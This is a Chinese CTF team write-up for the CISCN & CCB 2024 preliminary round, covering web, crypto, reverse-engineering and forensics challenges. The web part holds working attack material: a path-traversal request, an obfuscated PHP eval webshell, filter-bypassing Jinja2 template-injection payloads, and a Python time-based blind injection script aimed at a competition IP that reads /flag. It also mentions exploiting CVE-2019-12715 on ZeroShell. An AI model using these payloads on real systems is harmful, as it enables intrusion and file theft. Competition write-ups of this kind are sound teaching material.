ciscn&ccb2024初赛

本文最后更新于 2024年12月15日 晚上

为团队的wp，最后排名为218,浙江赛区57，最近要复习考试，直接cp上来了，感谢队友的付出。

Web

hello_web

对hackme.php进行二次目录穿越得到源码

1
?file=....//hackme.php
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
    eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";

printf('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
?>

简单的解密调整一下

2024-12-15124453

得到一个一句话，蚁剑直接连拿到shell

里面慢慢找

2024-12-15212842

1
flag{6baf34cf-5061-48c5-967a-64bcec7d12cf}

Safe_Proxy

过滤了 __ import 等 没有过滤引号和中括号其实都⽆所谓 ⽤拼接都可以搞定

1
{{lipsum['_''_glo''bals_''_']['o''s']['pop''en']('whoami').read()}}

.、⽆回显，不出网，用盲注 cut -c 1 /flag |grep -q '^f' && sleep

判断第一个字符是否为f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 import time
 import string
 from requests.exceptions import Timeout
 str="1234567890abcdefgl{}-"
 flag=""
 burp0_url = "http://101.200.33.218:20500"
 for i in range(1,50):
 for n in str:
 start = time.time()
 burp0_data = {
 "code": "{{lipsum['_''_glo'+'bals_''_']['_''_bui'+'ltins_''_']
 ['_''_imp'+'ort_''_']('o'+'s')['pop'+'en'](request.values.a)['read']()}}",
 "a": f"cut -c {i} /flag |grep -q '^{n}' && sleep 1"}
 print(burp0_data)
 s=time.time()
 r=requests.post(burp0_url,burp0_data)
 z=time.time()
 e=z-s
 #print(e)
 if e >2:
 flag = flag + n
 print(flag)
 break

进行盲注得到flag

Crypto

rasnd

根据给出的 hint1 和 hint2，可以通过以下步骤解线性方程组来恢复 p 和 q：

1
2
hint1 = x1 * p + y1 * q - 0x114
hint2 = x2 * p + y2 * q - 0x514

可以通过对方程组使用高斯消元法或者求解线性同余方程来得到 p 和 q

之后正常运算可以得到第一部分的flag1

第二部分根据hint = pow(514*p - 114*q, n - p - q, n)

使用 sympy.symbols 定义了符号 p 和 q，并使用 sympy.solve 解这个二次方程系统

最后上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sympy
from Crypto.Util.number import long_to_bytes, inverse

n=15571456267986315488975723450356345087718335860973425041970526062930678688004877472726692863395333820715771568748899746804239389792324773568293400777592369432033399734229826101839405881858154686883562826168531586485886050368427196622050408747529737560948695189431114477125298155206637472981918243135167693202309064540922544817772421677213516681938382724861247526776919418570681370914319059765208725653435286286369262432432738585115819967126015242864913276779548384773368888797638794486637029828926014322758088067062520338563751174949660352641832306723543679983405536001018373066819012751957373602270491261781943692451
c=10138159256617683671344371395383684051460639588039456122325582895268006024549438120246385926787371141878966286026141627264126118315244479763745981575785395672281132108975400831181100543899707558636529802723530981072916480954510365398900664845121793225380216608977152511584554076316206842663320464522427711864146084967671778711501213500811448393308352054539481554472015482310490001587379613563243102825960886944440637550704993295302474930860549369906857984817998884327137825810988790815501164876274709874835804927744396044745242295778821526054765192646642691216550898413138608168464057274447288498347809508391874078150
hint1=1113527763851290635928054349628822672712406038367490409391989362204138038707491353066059662457399240222604310120418974560896417378634356219401939936772013139208736144240188110954774381034869540545991209553704416040566662192133639921119681380540151370140950225855384990639360874116246929526335724393709704555523397061113330986308841161704834262
hint2=469145226081975102962707185744965418652551771390251982857238564862954592116851382039187942830551376694597289784973911249420303012543547700451423671709885139971507599078588448467028804611757858225001254126217370283415795283632126975858507813863309002905812901139852730404269024645020684848348269606634111739435265103863588056568400805000368719594936497885834095554649750685271716303431151114077043445646815264749604414760396794054063488358276670477132717547675321
e = 0x10001
# for x in range(2**11):
#     for y in range(2**11):
#         ans=y*(hint1+0x114)-x*(hint2+0x514)
#         p=GCD(ans,n)
#         if p.bit_length()==1024:
#             print(p)
#             break
#算出p
p=151741449960602674181569548778219268574805684003292009805579666410744061961373812541212384620302855757363584237178778709542180869569625693820045588037555520865515482079040715280747528266802005016049156365506475387927030507693557409190538210793353752981314744388403447028332106171553391017704103813637740862483
q=n//p
d=inverse(e,(p-1)*(q-1))
m1=pow(c,d,n)
print(long_to_bytes(m1))

n=9523124278093384380137333796758753281078612236079561486983945889780721207303549023303024440841627286405083125348744572351407091836171529244116187461606526665489207688519350470776636227195291535792285788312129885484606054185703618606874074966991041342400017839018587051618282195708479456873682987062969979049686487019441267029672031951160292394756827410978399983038083933308302196554964247040939791805560327993003047235997533659068506554360092592221284392413413594396846796603833878975931951996578980236630697909533117075044941085923033995318733990040988578726539657031652194674795368301571263954308236125072336742923
c=5273734494284054855490964797863549169365387814218439735266313777477824453168799965307592110444580631054190027479890646137568318684109204541297014987016330040377681900747865115463362762227883757575533147626609621563389383184624472025300729208542931331787962981165071651576701100539444726312887872996143702786937863406051088668813351236789364969646856084064479216203639171930681218044535160987239658126771711615002965807383203174258609586140600267661785003086555740614073305327903630154724987132488332825809842362149617410125406472752794473443433328002891445187606767643851176181189236584321291501946747955450825337033
hint=1052848157151138296179828680888309290261479029245209315287220839177795554990470575133261126960559387010458830758081463546363724848842523816860646275667995619135052897345272796475886486666463671774915373269700438043172153452449283423126701065539997463346668816755324361359119216062088420688050942800819547385579126190005910615363484848310083718699134226164273364002263958376395926755573872333534644445031958615742294082987515753336608958799143473898769727849924237694896994812906095295678572804928722865686728618259328243136774940336395674340740682322309070700712820608390084140662856314659282525733874060310943099081
x=inverse(hint,n)
p,q=sympy.symbols('p q')
f1=p*q-n
f2=514*p-114*q-x
result=sympy.solve([f1,f2],[p,q])
print(result)

p=103559096099649916097603875438251576043876012092267214914368235618133473407356412345986965585985305784772503201577573675950002938623693666053281855135481077032093277321146517906332643773867157427273131714270750558193445453250839897965711273142676548868317141772599118150907904766529213031946296536674546180681
q=91958356501390682961351906577181171330031315784376936623805197777515493865196381556112411554260456210547139323494708970744923880488405569381440989350001420970905191346462257978335032428913780454285094938132336821895985702324445944779854726782432741869179012526792766331985471472521593687648140582262858754483
d=inverse(e,(p-1)*(q-1))
m2=pow(c,d,n)
print(long_to_bytes(m2))
#拼接flag
print(long_to_bytes(m1)+long_to_bytes(m2))

Re

dump

是一下发现编码对应字符

image-20241215152327252

生成一个对应表，手撸写脚本

1
2
3
4
5
6
7
8
a="02030405060708090a0b0c0d0e0f101112131415161718191a1b1e1f202122232425262728292a2b2c2d2e2f30313233343536371c1d3839"
b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz12{}"
for i in range(len(b)):
    print(chr(i))
    print(b[i],a[2*i:2*i+2])

#23291e24380e1520370e0520000e37121d0f24010139
#flag{MTczMDc4MzQ2Ng==}

（我自己没事也搓了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import string

char_dict = string.ascii_letters + string.digits+"="+"{}"
key_dict = '1e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b001c1d00000000000000013839'

mapping = {}
for i in range(len(char_dict)):
    char = char_dict[i]
    key = key_dict[i*2:i*2+2]
    mapping[key] = char

ans = '23291E24380E1520370E0520000E37121D0F24010139'
ans = ans.lower()
decoded_message = ''
for i in range(len(ans) // 2):
    key = ans[i * 2:i * 2 + 2]
    if key in mapping:
        decoded_message += mapping[key]

print(decoded_message)
#第13位为4
#MTczMDc4MzQ2Ng==

ezCsky

猜一手rc4＋xor

2024-12-15213103

enc

2024-12-15213147

key

2024-12-15213232

rc4一下，发现结尾是}

2024-12-15213305

再往前异或，即flag

1
2
3
4
5
6
7
enc=[0x0a,0x0d,0x06,0x1c,0x1f,0x54,0x56,0x53,0x57,0x51,0x00,0x03,0x1d,0x14,0x58,0x56,0x03,0x19,0x1c,0x00,0x54,0x03,0x4b,0x14,0x58,0x07,0x02,0x49,0x4c,0x02,0x07,0x01,0x51,0x0c,0x08,0x00,0x01,0x00,0x03,0x00,0x4f,0x7d]
length=len(enc)

for i in range(length-1):
    enc[length-i-2]^=enc[length-i-1]
flag = ''.join(chr(i) for i in enc)
print(flag)

威胁检测与网络流量分析

zeroshell_1

搜一下base64加密的flag头

2024-12-15213719

2024-12-15213725

1
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zeroshell_2

CVE-2019-12715 zeroshell3.9.0 RCE

直接find / -name flag找到flag

image-20241215125126387

image-20241215125148936

或者livecd直接看

image-20241215130121966

zeroshell_3

netstat -ano一直循环执行可以发现内容会隔一段时间多出一段，发现是多出了一个进程，端口47000开始往后端口有规律的变化，提交此ip

image-20241215125635979

zeroshell_4

找了半天没找着，想起之前做的题会用.隐藏恶意文件，在几个目录下寻找后，最终在/tmp下找到.nginx，查看发现是ELF开头，怀疑是木马

image-20241215130121966

zeroshell_5

直接从机子里提出来IDA分析，或者直接DG，Shift+F12 转到ip连接的函数下面就是

image-20241215130034574

image-20241215142331973

zeroshell_6

直接DG挂载虚拟磁盘，把数据掏出来上seay直接全局扫描.nginx

image-20241215160920031

WinFT_1

内存直接看出ip和恶意进程，记事本打开进程往下翻直接得到域名

image-20241215130311680

image-20241215130447588

WinFT_2

image-20241215142004823

取证大师取证发现添加了两条计划任务，时间逆序发现是powershell启动项，base64解密出flag

image-20241215142122659

WinFT_5

题目提示压缩包，直接http contains "PK"或者http contains “flag”

image-20241215163402160

压缩包损坏是骗人的md，能直接解，以为要修修了半天，直接解带flag.txt的直接出

image-20241215163438840

密码是base64解密的注释

image-20241215163305410

image-20241215163325004

sc05_1

2024-12-15214209

ctf
#ctf
ciscn&ccb2024初赛
https://0ran9ewww.github.io/2024/12/15/ciscn/ciscn&ccb2024/
作者
orange
发布于
2024年12月15日
更新于
2024年12月15日
许可协议